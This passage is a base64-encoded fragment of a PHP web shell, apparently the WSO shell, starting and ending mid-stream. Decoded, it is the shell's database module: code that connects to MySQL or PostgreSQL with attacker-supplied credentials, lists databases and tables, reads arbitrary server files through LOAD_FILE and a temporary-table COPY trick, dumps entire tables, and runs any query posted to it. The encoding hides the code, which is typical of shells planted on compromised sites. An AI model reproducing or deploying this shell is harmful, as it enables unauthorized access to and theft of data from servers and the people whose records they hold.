cyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2ZldGNoX2Fzc29jKCRyZXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBsaXN0RGJzKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnF1ZXJ5KCJTSE9XIGRhdGFiYXNlcyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIFdIRVJFIGRhdGlzdGVtcGxhdGUhPSd0JyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBlcnJvcigpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZXJyb3IoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2xhc3RfZXJyb3IoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cikgew0KICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9zZXRfY2hhcnNldCgkc3RyLCAkdGhpcy0+bGluayk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19zZXRfY2xpZW50X2VuY29kaW5nKCR0aGlzLT5saW5rLCAkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZnVuY3Rpb24gbG9hZEZpbGUoJHN0cikgew0KICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoIkNSRUFURSBUQUJMRSB3c28yKGZpbGUgdGV4dCk7Q09QWSB3c28yIEZST00gJyIuYWRkc2xhc2hlcygkc3RyKS4iJztzZWxlY3QgZmlsZSBmcm9tIHdzbzI7Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHI9YXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaT0kdGhpcy0+ZmV0Y2goKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyW10gPSAkaVsnZmlsZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnZHJvcCB0YWJsZSB3c28yJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGFycmF5KCdmaWxlJz0+aW1wbG9kZSgiXG4iLCRyKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBkdW1wKCR0YWJsZSwgJGZwID0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJGNyZWF0ZVsxXS4iO1xuIjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGkgPSAwOw0KICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGkgJSAxMDAwID09IDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICI7XG5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR2ID09PSBudWxsKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiTlVMTCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKGlzX2ludCgkdikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciLkBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpLiInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaGVhZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMgXG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkaSsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYoISRoZWFkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAiO1xuXG4iKTsgZWxzZSBlY2hvKCI7XG5cbiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICRrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsICRpdGVtKS4nKTsnLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH07DQogICAgICAgICRkYiA9IG5ldyBEYkNsYXNzKCRfUE9TVFsndHlwZSddKTsNCiAgICAgICAgaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgew0KICAgICAgICAgICAgICAgICRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKTsNCiAgICAgICAgICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQogICAgICAgIHN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgew0KICAgICAgICAgICAgY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiY3A4NjYiOi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c2V0KCdrb2k4dScpOyBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5saXN0RGJzKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxvcHRpb24gdmFsdWU9IicuJHZhbHVlLiciICcuKCR2YWx1ZT09JF9QT1NUWydzcWxfYmFzZSddPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsdWUuJzwvb3B0aW9uPic7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3NlbGVjdD4nOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlIGVjaG8gJHRtcDsNCiAgICAgICAgfWVsc2UNCiAgICAgICAgICAgICAgICBlY2hvICR0bXA7DQogICAgICAgIGVjaG8gIjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+JyBvbmNsaWNrPSdmcyhkLnNmKTsnPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c3FsX2NvdW50IHZhbHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycnOicgY2hlY2tlZCcpIC4gIj4gY291bnQgdGhlIG51bWJlciBvZiByb3dzPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgICAgICAgICA8c2NyaXB0Pg0KICAgICAgICAgICAgc19kYj0nIi5AYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9iYXNlJ10pLiInOw0KICAgICAgICAgICAgZnVuY3Rpb24gZnMoZikgew0KICAgICAgICAgICAgICAgIGlmKGYuc3FsX2Jhc2UudmFsdWUhPXNfZGIpIHsgZi5vbnN1Ym1pdCA9IGZ1bmN0aW9uKCkge307DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDEpIGYucDEudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDMpIGYucDMudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gc3QodCxsKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZC5zZi5wMi52YWx1ZSA9IHQ7DQogICAgICAgICAgICAgICAgaWYobCAmJiBkLnNmLnAzKSBkLnNmLnAzLnZhbHVlID0gbDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZC5zZi5zdWJtaXQoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGlzKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoaT0wO2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQ7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgPC9zY3JpcHQ+IjsNCiAgICAgICAgaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspew0KICAgICAgICAgICAgICAgIGVjaG8gIjxici8+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0wPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+PHNwYW4+VGFibGVzOjwvc3Bhbj48YnI+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOw0KICAgICAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiR2YWx1ZS4nJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8bm9icj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIi4kdmFsdWUuIic+Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9XCJzdCgnIi4kdmFsdWUuIicsMSlcIj4iLiR2YWx1ZS4iPC9hPiIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/JyZuYnNwOyc6IiA8c21hbGw+KHskblsnbiddfSk8L3NtYWxsPiIpIC4gIjwvbm9icj48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG9uY2xpY2s9J2lzKCk7Jz4gPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSdEdW1wJyBvbmNsaWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT1cImRvd25sb2FkXCI7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7Jz48YnI+RmlsZSBwYXRoOjxpbnB1dCB0eXBlPXRleHQgbmFtZT1maWxlIHZhbHVlPSdkdW1wLnNxbCc+PC90ZD48dGQgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMSddID0gJ3F1ZXJ5JzsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJF9QT1NUWydwMyddPyRfUE9TVFsncDMnXToxOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJyAuICRfUE9TVFsncDInXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG51bSA9ICRkYi0+ZmV0Y2goKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFnZXMgPSBjZWlsKCRudW1bJ24nXSAvIDMwKTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNjcmlwdD5kLnNmLm9uc3VibWl0PWZ1bmN0aW9uKCl7c3QoXCIiIC4gJF9QT1NUWydwMiddIC4gIlwiLCBkLnNmLnAzLnZhbHVlKX08L3NjcmlwdD48c3Bhbj4iLiRfUE9TVFsncDInXS4iPC9zcGFuPiAoeyRudW1bJ24nXX0gcmVjb3JkcykgUGFnZSAjIDxpbnB1dCB0eXBlPXRleHQgbmFtZT0ncDMnIHZhbHVlPSIgLiAoKGludCkkX1BPU1RbJ3AzJ10pIC4gIj4iOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICIgb2YgJHBhZ2VzIjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddID4gMSkNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddLTEpIC4gIiknPiZsdDsgUHJldjwvYT4iOw0KICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPCAkcGFnZXMpDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXSsxKSAuICIpJz5OZXh0ICZndDs8L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddLS07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncDInXS4nIExJTUlUIDMwIE9GRlNFVCAnLigkX1BPU1RbJ3AzJ10qMzApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxicj48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigoQCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoQCRfUE9TVFsncDInXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGRiLT5yZXMgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGUgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMyOTI5MjkiPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9IDE7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoISR0aXRsZSkgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRoPicuJGtleS4nPC90aD4nOw0KICAgICAgICAgICAgICAgICAg